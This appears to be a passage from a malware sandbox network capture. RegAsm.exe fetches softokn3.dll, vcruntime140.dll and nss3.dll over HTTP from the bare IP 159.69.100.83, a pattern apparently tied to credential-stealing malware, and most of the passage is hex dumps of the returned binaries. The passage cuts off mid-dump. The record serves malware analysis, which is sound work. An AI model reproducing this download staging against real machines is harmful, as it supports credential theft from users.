2024-09-15 17:37:16 UTC	16384	IN	Data Raw: 01 75 04 3b d7 74 3a 8b 5d 08 6a 04 59 89 4d d4 53 33 c0 03 04 cb 52 13 7c cb 04 56 57 50 e8 f1 02 02 00 5b 8b 5d 08 8b f9 8b 4d d4 8b 75 d8 89 54 cb 04 8b 55 e8 89 04 cb 83 e9 01 89 4d d4 79 cf 5f 5e 5b c9 c3 55 8b ec 51 56 8b 75 14 33 d2 85 f6 7e 5f 53 8b 5d 08 29 5d 10 57 8b fb 89 75 fc 8b 5d 10 8b 0c 3b 03 0f 8b 44 3b 04 13 47 04 03 ca 89 0f 8d 7f 08 83 d0 00 8b d0 89 57 fc 83 67 fc 00 83 ee 01 75 dc 0b c6 8b 5d 08 74 22 8b 4d fc 3b 4d 0c 7d 1a 01 14 cb 8b 54 cb 04 13 d6 33 f6 89 54 cb 04 8b c2 21 74 cb 04 41 0b c6 75 e1 5f 5b 5e c9 c3 55 8b ec 8b 55 08 56 8b 75 0c 83 c2 f8 8d 14 f2 8b 02 0b 42 04 75 0b 8d 52 f8 4e 8b 0a 0b 4a 04 74 f5 8b c6 5e 5d c3 55 8b ec 53 56 33 db 33 f6 39 5d 0c 7e 30 57 8b 7d 08 ff 75 14 ff 75 10 ff 74 f7 04 ff 34 f7 e8 73 03 Data Ascii: u;t:]jYMS3R\|VWP[]MuTUMy_^[UQVu3~_S])]Wu];D;GWgu]t"M;M}T3T!tAu_[^UUVuBuRNJt^]USV339]~0W}uut4s
2024-09-15 17:37:16 UTC	16384	IN	Data Raw: cc cc cc cc 55 8b ec 51 8b 45 0c 56 8b f1 89 75 fc 89 46 04 c7 06 7c 69 00 10 83 66 08 00 ff 15 d0 72 06 10 6a 00 89 46 08 ff 15 90 71 06 10 59 8b c6 5e c9 c2 08 00 cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 51 8b 45 0c 56 8b f1 89 75 fc 89 46 04 c7 06 e8 65 00 10 83 66 08 00 ff 15 d0 72 06 10 6a 00 89 46 08 ff 15 90 71 06 10 59 8b c6 5e c9 c2 08 00 56 8b f1 ff 76 0c c7 06 4c 68 00 10 ff 15 90 71 06 10 59 c7 06 28 52 00 10 5e c3 56 8b f1 ff 76 0c c7 06 8c 66 00 10 ff 15 90 71 06 10 59 c7 06 28 52 00 10 5e c3 cc cc cc cc cc cc cc 56 8b f1 c7 06 50 69 00 10 e8 e2 71 00 00 c7 06 28 52 00 10 5e c3 cc cc cc cc cc cc cc cc cc cc 56 8b f1 c7 06 90 67 00 10 e8 c2 71 00 00 c7 06 28 52 00 10 5e c3 cc cc cc cc cc cc cc cc cc cc 56 8b f1 ff 76 08 c7 06 7c 69 00 Data Ascii: UQEVuF\|ifrjFqY^UQEVuFefrjFqY^VvLhqY(R^VvfqY(R^VPiq(R^Vgq(R^Vv\|i
2024-09-15 17:37:16 UTC	16384	IN	Data Raw: 73 00 00 84 c0 0f 85 d3 00 00 00 8b 5d ec 80 7f 04 00 75 07 8b cf e8 85 26 00 00 0f b7 47 06 50 ff b5 74 ff ff ff e8 9a a8 ff ff 59 59 83 f8 0a 73 3c 8a 80 2c 6a 00 10 8b 4d 8c 88 85 64 ff ff ff ff b5 64 ff ff ff e8 5f 18 ff ff 8b 4d d8 8d 45 d8 83 fb 10 72 02 8b c1 80 3c 30 7f 74 4c 8d 45 d8 83 fb 10 72 02 8b c1 fe 04 30 eb 3a 8d 45 d8 83 fb 10 72 03 8b 45 d8 80 3c 30 00 74 45 80 7f 04 00 0f b7 47 06 75 0b 8b cf e8 10 26 00 00 0f b7 47 06 66 3b 85 60 ff ff ff 75 27 6a 00 8d 4d d8 e8 04 18 ff ff 46 8b 5d ec 8b cf e8 24 11 00 00 ff 75 98 8b cf e8 de 72 00 00 84 c0 0f 84 4a ff ff ff 8b 5d 90 85 f6 74 13 83 7d ec 10 8d 45 d8 72 03 8b 45 d8 80 3c 30 00 7e 52 46 8a 45 a7 83 7d d4 10 8d 55 c0 72 03 8b 55 c0 84 c0 75 49 85 f6 74 5e 8a 0a 80 f9 7f 74 57 83 ee 01 Data Ascii: s]u&GPtYYs<,jMdd_MEr<0tLEr0:ErE<0tEGu&Gf;`u'jMF]$urJ]t}ErE<0~RFE}UrUuIt^tW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49736	159.69.100.83	443	420	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-15 17:37:17 UTC	245	OUT	GET /softokn3.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 159.69.100.83 Connection: Keep-Alive Cache-Control: no-cache
2024-09-15 17:37:18 UTC	260	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 15 Sep 2024 17:37:17 GMT Content-Type: application/octet-stream Content-Length: 257872 Connection: close Last-Modified: Sunday, 15-Sep-2024 17:37:17 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-09-15 17:37:18 UTC	16124	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSw
2024-09-15 17:37:18 UTC	16384	IN	Data Raw: 85 f0 fe ff ff 00 00 00 00 8d 85 ec fe ff ff 89 85 f4 fe ff ff c7 85 f8 fe ff ff 04 00 00 00 8d 85 f0 fe ff ff 6a 01 50 53 57 e8 85 af 00 00 83 c4 10 89 c6 85 c0 75 3f 8b 85 ec fe ff ff 83 c0 fd 83 f8 01 77 25 be 30 00 00 00 83 3d 28 9a 03 10 00 75 23 83 3d 50 90 03 10 00 74 0e be 01 01 00 00 f6 05 20 9a 03 10 01 74 0c 53 57 e8 e2 b9 00 00 83 c4 08 89 c6 83 3d 2c 9a 03 10 00 0f 84 5e ff ff ff 8b 85 ec fe ff ff 83 c0 fe 83 f8 02 0f 87 4c ff ff ff 56 53 57 68 85 6b 03 10 68 00 01 00 00 8d 85 f0 fe ff ff 50 ff 15 1c 7c 03 10 83 c4 18 e9 2a ff ff ff cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 08 01 00 00 a1 14 90 03 10 31 e8 89 45 f0 c7 85 ec fe ff ff 00 00 00 00 be 30 00 00 00 83 3d 28 9a 03 10 00 74 17 8b 4d f0 31 e9 e8 28 8b 02 00 89 f0 81 Data Ascii: jPSWu?w%0=(u#=Pt tSW=,^LVSWhkhP\|*USWV1E0=(tM1(
2024-09-15 17:37:18 UTC	16384	IN	Data Raw: 03 45 dc 56 8d 4d ec 51 50 57 e8 55 9e ff ff 83 c4 10 85 c0 0f 85 6b 03 00 00 57 e8 c4 9d ff ff 83 c4 04 ff 75 e8 53 57 e8 f7 9d ff ff 83 c4 0c ff 75 e8 8d 45 e8 50 53 57 e8 26 9e ff ff 83 c4 10 85 c0 0f 85 3c 03 00 00 8b 4d c8 83 c1 01 8b 75 e4 8b 45 dc 01 f0 3b 4d c0 0f 85 6c ff ff ff 31 f6 e9 20 03 00 00 31 f6 ff 35 30 9a 03 10 ff 15 f0 7b 03 10 83 c4 04 a1 34 9a 03 10 85 c0 74 15 6a 01 50 e8 57 4e 02 00 83 c4 08 c7 05 34 9a 03 10 00 00 00 00 a1 38 9a 03 10 85 c0 74 15 6a 01 50 e8 39 4e 02 00 83 c4 08 c7 05 38 9a 03 10 00 00 00 00 a1 3c 9a 03 10 85 c0 74 15 6a 01 50 e8 1b 4e 02 00 83 c4 08 c7 05 3c 9a 03 10 00 00 00 00 56 e8 e8 4d 02 00 83 c4 04 a3 34 9a 03 10 8b 47 38 a3 40 9a 03 10 8b 47 28 a3 44 9a 03 10 8b 47 2c a3 48 9a 03 10 8d 47 04 50 e8 bf 4d Data Ascii: EVMQPWUkWuSWuEPSW&<MuE;Ml1 150{4tjPWN48tjP9N8<tjPN<VM4G8@G(DG,HGPM
2024-09-15 17:37:18 UTC	16384	IN	Data Raw: 88 41 02 0f b6 41 03 d1 e8 8a 80 68 f9 02 10 88 41 03 0f b6 41 04 d1 e8 8a 80 68 f9 02 10 88 41 04 0f b6 41 05 d1 e8 8a 80 68 f9 02 10 88 41 05 0f b6 41 06 d1 e8 8a 80 68 f9 02 10 88 41 06 0f b6 41 07 d1 e8 8a 80 68 f9 02 10 88 41 07 ba 01 01 01 01 8b 31 31 d6 33 51 04 b8 01 00 00 00 09 f2 0f 84 37 01 00 00 ba 1f 1f 1f 1f 33 11 be 0e 0e 0e 0e 33 71 04 09 d6 0f 84 20 01 00 00 ba e0 e0 e0 e0 33 11 be f1 f1 f1 f1 33 71 04 09 d6 0f 84 09 01 00 00 ba fe fe fe fe 8b 31 31 d6 33 51 04 09 f2 0f 84 f5 00 00 00 ba 01 fe 01 fe 8b 31 31 d6 33 51 04 09 f2 0f 84 e1 00 00 00 ba fe 01 fe 01 8b 31 31 d6 33 51 04 09 f2 0f 84 cd 00 00 00 ba 1f e0 1f e0 33 11 be 0e f1 0e f1 33 71 04 09 d6 0f 84 b6 00 00 00 ba e0 1f e0 1f 33 11 be f1 0e f1 0e 33 71 04 09 d6 0f 84 9f 00 00 00 Data Ascii: AAhAAhAAhAAhAAhA113Q733q 33q113Q113Q113Q33q33q
2024-09-15 17:37:18 UTC	16384	IN	Data Raw: 84 30 07 00 00 83 7b 08 14 0f 84 43 01 00 00 e9 21 07 00 00 3d 50 06 00 00 0f 8f aa 01 00 00 3d 51 05 00 00 74 2d 3d 52 05 00 00 74 12 3d 55 05 00 00 0f 85 0a 07 00 00 c7 47 0c 01 00 00 00 83 7b 04 00 0f 84 ec 06 00 00 83 7b 08 10 0f 85 e2 06 00 00 c7 47 18 10 00 00 00 83 7c 24 24 25 0f 85 fb 07 00 00 6a 11 ff 74 24 30 e8 44 c7 00 00 83 c4 08 85 c0 0f 84 78 09 00 00 89 c7 31 c0 81 3b 51 05 00 00 0f 95 c0 ff 77 1c 8b 4d 20 51 50 ff 73 04 ff 77 18 e8 09 1e ff ff 83 c4 14 8b 4c 24 28 89 41 64 57 e8 a9 c6 00 00 83 c4 04 8b 44 24 28 83 78 64 00 0f 84 bf 08 00 00 83 7d 20 00 b9 60 2a 00 10 ba 20 2a 00 10 0f 44 d1 89 50 74 c7 80 84 00 00 00 e0 29 00 10 e9 eb 08 00 00 3d 09 21 00 00 0f 8e 1c 02 00 00 3d 0a 21 00 00 0f 84 08 02 00 00 3d 0b 21 00 00 0f 84 23 02 00 Data Ascii: 0{C!=P=Qt-=Rt=UG{{G\|$$%jt$0Dx1;QwM QPswL$(AdWD$(xd} `* *DPt)=!=!=!#
2024-09-15 17:37:18 UTC	16384	IN	Data Raw: 5d c3 cc cc 55 89 e5 53 57 56 83 ec 10 a1 14 90 03 10 31 e8 89 45 f0 ff 75 08 e8 35 ab 00 00 83 c4 04 85 c0 74 5f 89 c6 8b 78 38 bb 91 00 00 00 85 ff 74 56 83 3f 03 75 51 8b 4d 18 8b 47 04 83 7d 14 00 74 59 8b 5d 0c 85 c0 74 64 89 ce 8b 4d 08 89 da 6a 03 ff 75 10 e8 47 fa ff ff 83 c4 08 89 c3 85 c0 75 24 56 ff 75 14 ff 75 08 e8 72 fd ff ff 83 c4 0c 89 c6 8b 4d f0 31 e9 e8 a3 8b 01 00 89 f0 eb 11 bb b3 00 00 00 8b 4d f0 31 e9 e8 90 8b 01 00 89 d8 83 c4 10 5e 5f 5b 5d c3 85 c0 74 06 83 7f 68 00 74 5a 81 c7 90 00 00 00 eb 55 8b 01 89 45 e8 8b 47 64 89 45 e4 8b 4f 74 ff 15 00 a0 03 10 8d 45 ec ff 75 10 53 ff 75 e8 50 ff 75 14 ff 75 e4 ff d1 83 c4 18 85 c0 74 32 e8 a1 8d 01 00 50 e8 eb 84 00 00 83 c4 04 8b 55 ec 8b 4d 18 89 11 bb 50 01 00 00 3d 50 01 00 00 74 Data Ascii: ]USWV1Eu5t_x8tV?uQMG}tY]tdMjuGu$VuurM1M1^_[]thtZUEGdEOtEuSuPuut2PUMP=Pt
2024-09-15 17:37:18 UTC	16384	IN	Data Raw: 75 20 85 f6 7e 7a 8b 7d 1c 83 c7 08 c7 45 d8 00 00 00 00 c7 45 d4 04 00 00 00 eb 18 0f 1f 84 00 00 00 00 00 8b 47 fc 8b 00 89 45 d8 83 c7 0c 83 c6 ff 74 5a 8b 47 f8 85 c0 74 19 3d 61 01 00 00 74 e2 8b 4f fc eb 15 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 8b 4f fc 8b 11 89 55 d4 ff 37 51 50 ff 75 dc e8 8c 53 00 00 83 c4 10 85 c0 74 bd 89 c3 e9 80 01 00 00 bf 02 00 00 00 e9 83 01 00 00 c7 45 d4 04 00 00 00 c7 45 d8 00 00 00 00 8b 45 10 8b 4d 0c 83 ec 1c 0f 28 05 40 fb 02 10 0f 11 44 24 0c 89 44 24 08 89 4c 24 04 8b 45 08 89 04 24 e8 fe 7c ff ff 83 c4 1c 85 c0 74 0c 89 c3 ff 75 dc e8 7d 5a 00 00 eb 3d 8b 7d 18 8b 5d 14 57 e8 8b 4d 01 00 83 c4 04 89 c6 89 7d ec 8d 45 ec 50 56 57 53 ff 75 08 e8 e8 9a ff ff 83 c4 14 85 c0 74 26 89 c3 ff 75 dc e8 47 5a 00 00 83 c4 Data Ascii: u ~z}EEGEtZGt=atOf.OU7QPuStEEEM(@D$D$L$E$\|tu}Z=}]WM}EPVWSut&uGZ
2024-09-15 17:37:18 UTC	16384	IN	Data Raw: 75 08 e8 4d 2b 00 00 83 c4 04 85 c0 74 51 8b 48 38 b8 91 00 00 00 85 c9 74 4a 83 39 02 75 45 83 79 04 00 74 3f 8b 55 0c 8b 59 6c 83 c3 08 89 1f 31 c0 85 d2 74 2e b8 50 01 00 00 39 de 72 25 8b 01 89 02 8b 41 70 89 42 04 83 c2 08 ff 71 6c ff 71 64 52 e8 cc 0f 01 00 83 c4 0c 31 c0 eb 05 b8 b3 00 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 ec 10 8b 7d 10 a1 14 90 03 10 31 e8 89 45 f0 85 ff 0f 84 2d 01 00 00 8b 5d 0c 8b 33 ff 75 08 e8 b5 2a 00 00 83 c4 04 b9 b3 00 00 00 85 c0 0f 84 12 01 00 00 83 fe 0a 0f 87 f7 00 00 00 b9 78 06 00 00 0f a3 f1 73 12 8d 48 38 eb 1a 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 b9 83 01 00 00 0f a3 f1 73 e4 8d 48 34 8b 09 83 fe 0a 77 2f ba 78 06 00 00 0f a3 f2 73 12 83 c0 38 eb 1a 66 2e 0f 1f 84 00 00 00 Data Ascii: uM+tQH8tJ9uEyt?UYl1t.P9r%ApBqlqdR1^_[]USWV}1E-]3u*xsH8f.sH4w/xs8f.
2024-09-15 17:37:18 UTC	16384	IN	Data Raw: 00 5d c3 b8 00 00 08 00 5d c3 cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 ff 75 08 e8 c2 d8 ff ff 83 c4 04 85 c0 0f 84 9c 03 00 00 89 c6 c7 40 24 00 00 00 00 bf 02 00 00 00 83 78 0c 00 0f 88 54 03 00 00 ff 76 34 ff 15 f0 7b 03 10 83 c4 04 8b 46 34 8b 5e 40 8d 4b 01 89 4e 40 50 ff 15 10 7c 03 10 83 c4 04 83 fb 2c 0f 8f 29 03 00 00 6b c3 54 8d 0c 06 83 c1 64 89 4c 06 5c c7 44 06 64 57 43 53 ce c7 44 06 60 04 00 00 00 c7 44 06 58 00 00 00 00 c7 44 06 54 00 00 00 00 0f 57 c0 0f 11 44 06 44 83 7e 0c 00 0f 88 ea 02 00 00 8d 1c 06 83 c3 44 ff 76 34 ff 15 f0 7b 03 10 83 c4 04 69 4b 10 c5 90 c6 6a 8b 86 0c 0f 00 00 83 c0 ff 21 c8 8b 8c 86 10 0f 00 00 89 0b c7 43 04 00 00 00 00 8b 8c 86 10 0f 00 00 85 c9 74 03 89 59 04 89 9c 86 10 0f 00 00 ff 76 34 ff 15 10 7c Data Ascii: ]]USWVu@$xTv4{F4^@KN@P\|,)kTdL\DdWCSD`DXDTWDD~Dv4{iKj!CtYv4\|
2024-09-15 17:37:18 UTC	16384	IN	Data Raw: c7 eb 02 31 ff 8b 4d f0 31 e9 e8 15 8c 00 00 89 f8 81 c4 3c 01 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 89 d6 89 cf 8b 5d 08 8b 4b 24 ff 15 00 a0 03 10 ff 75 14 ff 75 10 ff 75 0c 53 ff d1 83 c4 10 85 c0 75 1e 31 c0 39 5e 34 0f 94 c0 89 f9 89 f2 ff 75 14 ff 75 10 ff 75 0c 50 e8 1c 2b 00 00 83 c4 10 5e 5f 5b 5d c3 cc cc cc cc 55 89 e5 53 57 56 83 ec 10 8b 45 08 8b 0d 14 90 03 10 31 e9 89 4d f0 c7 45 ec 00 00 00 00 85 c0 74 63 8b 75 10 8b 58 34 85 db 74 5d 85 f6 74 5f 8b 4d 0c 8d 45 e8 8d 7d ec 89 f2 50 57 e8 8e 00 00 00 83 c4 08 85 c0 74 60 89 c7 8b 45 ec 89 45 e4 8b 4b 14 ff 15 00 a0 03 10 ff 75 14 56 57 53 8b 5d e4 ff d1 83 c4 10 89 c6 85 db 74 40 57 e8 96 8d 00 00 83 c4 04 ff 75 e8 53 e8 b4 8d 00 00 83 c4 08 eb 29 31 f6 eb 25 8b 18 Data Ascii: 1M1<^_[]USWV]K$uuuSu19^4uuuP+^_[]USWVE1MEtcuX4t]t_ME}PWt`EEKuVWS]t@WuS)1%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49737	159.69.100.83	443	420	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-15 17:37:19 UTC	249	OUT	GET /vcruntime140.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 159.69.100.83 Connection: Keep-Alive Cache-Control: no-cache
2024-09-15 17:37:19 UTC	259	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 15 Sep 2024 17:37:19 GMT Content-Type: application/octet-stream Content-Length: 80880 Connection: close Last-Modified: Sunday, 15-Sep-2024 17:37:19 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-09-15 17:37:19 UTC	16125	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"
2024-09-15 17:37:19 UTC	16384	IN	Data Raw: 74 10 33 c9 85 ff 0f 9f c1 8d 0c 4d ff ff ff ff eb 1e 0f b6 4e 03 0f b6 42 03 2b c8 74 12 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff eb 02 33 c9 85 c9 0f 85 6f 05 00 00 8b 46 04 3b 42 04 74 4f 0f b6 f8 0f b6 42 04 2b f8 75 18 0f b6 7e 05 0f b6 42 05 2b f8 75 0c 0f b6 7e 06 0f b6 42 06 2b f8 74 10 33 c9 85 ff 0f 9f c1 8d 0c 4d ff ff ff ff eb 1e 0f b6 4e 07 0f b6 42 07 2b c8 74 12 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff eb 02 33 c9 85 c9 0f 85 0e 05 00 00 8b 46 08 3b 42 08 74 4f 0f b6 f8 0f b6 42 08 2b f8 75 18 0f b6 7e 09 0f b6 42 09 2b f8 75 0c 0f b6 7e 0a 0f b6 42 0a 2b f8 74 10 33 c9 85 ff 0f 9f c1 8d 0c 4d ff ff ff ff eb 1e 0f b6 4e 0b 0f b6 42 0b 2b c8 74 12 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff eb 02 33 c9 85 c9 0f 85 ad 04 00 00 8b 46 0c 3b 42 Data Ascii: t3MNB+t3E3oF;BtOB+u~B+u~B+t3MNB+t3E3F;BtOB+u~B+u~B+t3MNB+t3E3F;B
2024-09-15 17:37:19 UTC	16384	IN	Data Raw: 8b 45 94 a3 a4 f2 00 10 8d 45 cc 50 e8 39 08 00 00 59 6a 28 8d 4d 80 8b f0 e8 67 f3 ff ff 56 8d 4d f0 51 8b c8 e8 0a f7 ff ff 6a 29 8d 85 70 ff ff ff 50 8d 4d f0 e8 1b f7 ff ff 50 8d 4d f8 e8 78 f7 ff ff 81 7d dc 00 08 00 00 75 1a 8b c3 25 00 07 00 00 3d 00 02 00 00 74 0c 8d 45 98 50 8d 4d f8 e8 55 f7 ff ff a1 98 f2 00 10 c1 e8 13 f7 d0 a8 01 8d 45 cc 50 74 11 e8 92 2e 00 00 59 50 8d 4d f8 e8 34 f7 ff ff eb 0f e8 81 2e 00 00 59 50 8d 4d f8 e8 9f f8 ff ff 8d 45 cc 50 e8 69 23 00 00 59 50 8d 4d f8 e8 10 f7 ff ff a1 98 f2 00 10 c1 e8 08 f7 d0 a8 01 8d 45 cc 50 74 11 e8 30 3e 00 00 59 50 8d 4d f8 e8 ef f6 ff ff eb 0f e8 1f 3e 00 00 59 50 8d 4d f8 e8 5a f8 ff ff 8d 45 cc 50 e8 6a 19 00 00 59 50 8d 4d f8 e8 47 f8 ff ff a1 98 f2 00 10 c1 e8 02 f7 d0 a8 01 74 20 Data Ascii: EEP9Yj(MgVMQj)pPMPMx}u%=tEPMUEPt.YPM4.YPMEPi#YPMEPt0>YPM>YPMZEPjYPMGt
2024-09-15 17:37:19 UTC	16384	IN	Data Raw: c9 00 08 00 00 83 e2 18 74 1c 83 fa 08 74 0f 83 fa 10 74 15 b8 ff ff 00 00 e9 f7 01 00 00 81 c9 80 00 00 00 eb 03 83 c9 40 83 e0 06 2b c7 0f 84 df 01 00 00 2b c6 74 1e 2b c6 74 0f 2b c6 75 d4 81 c9 00 04 00 00 e9 c8 01 00 00 81 c9 00 01 00 00 e9 bd 01 00 00 81 c9 00 02 00 00 e9 b2 01 00 00 2b c6 75 af 8d 51 01 89 15 90 f2 00 10 8a 02 3c 30 7c 2a 3c 39 7f 26 0f be c0 83 c2 d1 03 c2 a3 90 f2 00 10 e8 8c fe ff ff 0d 00 00 01 00 e9 81 01 00 00 b8 fe ff 00 00 e9 77 01 00 00 b9 ff ff 00 00 e9 dc 00 00 00 83 f8 2f 0f 8e 63 ff ff ff 8b f2 83 f8 35 7e 62 83 f8 41 0f 85 53 ff ff ff 81 c9 00 90 00 00 e9 b8 00 00 00 b9 fe ff 00 00 4a e9 ad 00 00 00 81 c9 00 98 00 00 e9 a2 00 00 00 83 e8 43 0f 84 94 00 00 00 83 e8 01 0f 84 83 00 00 00 83 e8 01 74 76 83 e8 0d 0f 85 12 Data Ascii: ttt@++t+t+u+uQ<0\|*<9&w/c5~bASJCtv
2024-09-15 17:37:19 UTC	15603	IN	Data Raw: 8f f8 b4 e9 00 40 03 d5 1c 16 4c d1 c1 d6 ae e8 7c cd cc c1 be ea d2 ff 35 4e c0 ce b5 7a ad bb a6 bb 2e dc 94 e9 f3 1e 7d e0 ec 28 a3 07 82 66 5a c3 5b 5a cb ec 03 c9 e3 2c 94 15 21 2b a0 f9 d9 9b 4b e7 b6 de eb 20 51 8c 3e fa 2c 23 d5 18 b0 f0 b1 a0 70 6c 7a ef 8b 83 48 a6 3a 02 06 ef a0 8a 2c b7 88 45 30 82 05 ff 30 82 03 e7 a0 03 02 01 02 02 13 33 00 00 01 51 9e 8d 8f 40 71 a3 0e 41 00 00 00 00 01 51 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 7e 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 28 30 26 06 03 55 04 03 13 1f 4d 69 63 72 6f 73 6f Data Ascii: @L\|5Nz.}(fZ[Z,!+K Q>,#plzH:,E003Q@qAQ0*H0~10UUS10UWashington10URedmond10UMicrosoft Corporation1(0&UMicroso

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49738	159.69.100.83	443	420	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-15 17:37:20 UTC	241	OUT	GET /nss3.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 OPR/110.0.0.0 Host: 159.69.100.83 Connection: Keep-Alive Cache-Control: no-cache
2024-09-15 17:37:21 UTC	261	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 15 Sep 2024 17:37:20 GMT Content-Type: application/octet-stream Content-Length: 2046288 Connection: close Last-Modified: Sunday, 15-Sep-2024 17:37:20 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-09-15 17:37:21 UTC	16123	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@
2024-09-15 17:37:21 UTC	16384	IN	Data Raw: f2 6b d2 64 89 c7 29 d7 c1 fb 15 01 f3 89 c2 69 f3 90 01 00 00 29 f0 83 e2 03 66 85 d2 0f 94 c2 66 85 ff 0f 95 c6 20 d6 66 85 c0 0f 94 c0 08 f0 0f b6 c0 8d 04 40 8b 55 f0 0f be 84 82 20 7c 1a 10 89 41 10 8a 41 1a fe c8 0f b6 c0 ba 06 00 00 00 0f 49 d0 88 51 1a e9 f7 fe ff ff 83 c2 e8 89 51 0c 8b 41 10 89 45 f0 8b 71 14 40 89 41 10 66 ff 41 1c 0f b7 41 18 a8 03 0f 94 c3 69 f8 29 5c 00 00 8d 97 1c 05 00 00 66 c1 ca 02 0f b7 d2 81 fa 8f 02 00 00 0f 93 c2 20 da 81 c7 10 05 00 00 66 c1 cf 04 0f b7 ff 81 ff a3 00 00 00 0f 92 c6 08 d6 0f b6 d6 8d 14 52 0f be 94 96 20 7c 1a 10 39 55 f0 7c 26 